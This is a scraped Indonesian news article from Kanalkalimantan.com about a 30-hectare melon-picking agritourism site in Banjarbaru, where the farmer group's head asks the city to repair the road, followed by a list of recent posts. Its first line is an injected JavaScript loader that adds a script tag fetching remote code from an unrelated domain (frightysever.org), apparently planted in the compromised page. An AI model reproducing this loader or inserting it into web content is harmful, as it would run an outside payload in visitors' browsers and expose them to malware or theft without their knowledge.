(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

VIRAL. Agrowisata Petik Melon di Banjarbaru, Petani Minta Pemko Perbaiki Akses Jalan


KANALKALIMANTAN.COM, BANJARBARU – Agrowisata petik melon di Jalan Tambak Tarap atau Jalan Kasturi II, Kelurahan Syamsudin Noor, Kecamatan Landasan Ulin, dan kini tengah ramai diperbicangkan.

Kawasan seluas kurang lebih 30 hektare tersebut dikelola oleh Kelompok Tani Ngudi Rahayu, yang di ketuai oleh Saqim. Kelompok ini adalah salah satu penghasil hortikultura dan sayuran terbesar di Kecamatan Landasan Ulin, yang merupakan binaan UPT BPP Landasan Ulin dan KJF DKP3 Kota Banjarbaru.

Ketua Kelompok Tani Ngudi Rahayu, Saqim, mengungkapkan bahwa tanaman melon yang dipanen pihaknya saat ini kurang lebih seluas 5 hektare, dengan produktivitas 20-30 ton per-hektare varitas STR. Diakuinya, penjualan buah melon dengan melalui kawasan agrowisata dapat meningkat dua kali lipat.

“Benar mas, melalui agriwisata nilainya jual buah melon meningkat. Kalau di jual langsung ke para pedagang hanya dengan harga 4000 per kilogram saja. Sedangkan, dengan cara agrowisata petik melon ini bisa mencapai harga 8000 per kilogram dan bayar di tempat lokasi,” akunya, Senin (21/9/2020) siang.

Pengelolaan kawasan agrowisata tentu sangat membantu petani buah melon, mengingat kondisi sulit saat ini akibat merebaknya pandemi Covid-19. Bahkan dari pengakuan sejumlah petani, kini pengunjung sangat ramai berdatangan setiap sore untuk memetik melon di kebun mereka. Khususnya, di hari libur pada Sabtu dan Minggu.

Saqim berharap pihaknya akan terus mendapat dukungan dari Pemerintah Kota (Pemko) Banjarbaru. Salah satunya yakni perbaikan infrastruktur jalan menuju kebun mereka. Hal tersebut juga demi mempermudah akses pengunjung.

“Harapannya pemerintah dapat memperbaiki jalan menuju lokasi kebun kami, karena jalannya masih banyak berlobang. Lokasi kebun melon ini sangat dekat dengan bandara, yang membuat tempat ini sangat strategis. Tidak hanya melon saja, disini juga ramai juga di jual sayuran, cabe, tomat, jagung dan lain-lainnya,” ujarnya.

Pemko Banjarbaru kini tengah memfokuskan pengelolaan agrowisata petik melon di Kelurahan Syamsudin Noor, secara lebih baik dan profesional. Dengan harapan, lokasi ini nantinya bisa menjadi salah satu obyek agrowisata alternatif bagi masyarakat yang ingin berwisata alam sambil belanja sayur dan buah. (Kanalkalimantan.com/rico)

 

Reporter: Rico
Editor: Cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.